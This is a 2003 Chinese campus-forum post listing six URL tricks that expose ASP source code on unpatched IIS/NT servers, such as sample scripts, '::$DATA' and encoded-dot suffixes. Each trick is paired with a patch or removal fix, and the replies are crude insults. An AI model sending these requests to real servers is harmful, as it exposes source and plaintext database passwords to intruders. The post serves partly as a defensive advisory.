广西经贸职业技术学院论坛

标题: 偷看ASP原码的6种方法 [打印本页]

作者: saviour 时间: 2003-12-25 08:01
标题: 偷看ASP原码的6种方法
在没有打Services Pack6补丁的NT server上，至少有6种方法可以看到ASP程序的源代码,它们是: 1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp 解决方案:删除showcode.asp 2、http://somewhere/something.asp:

DATA 解决方案: 装sp3 3、http://somewhere/something.asp%2e 解决方案: 装sp4 or http://somewhere/something.asp.(加一个点) 解决方案: 装sp4 4、http://somewhere/something%2e%41sp 或者 http://somewhere/something%2e%asp 解决方案: 装sp4 5、http://somewhere/something.asp%81 解决方案:装sp6或者打补丁 6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp 最大的危害莫过于asp文件可以被上述方式读出；数据库密码以明文形式暴露在黑客眼前;

作者: 遗忘美男 时间: 2003-12-25 09:12
我日******

作者: saviour 时间: 2003-12-25 11:44
我靠你好日

作者: 天涯￠浪子 时间: 2003-12-25 20:07
提示: 作者被禁止或删除内容自动屏蔽

欢迎光临广西经贸职业技术学院论坛 (http://gxjmbbs.com/)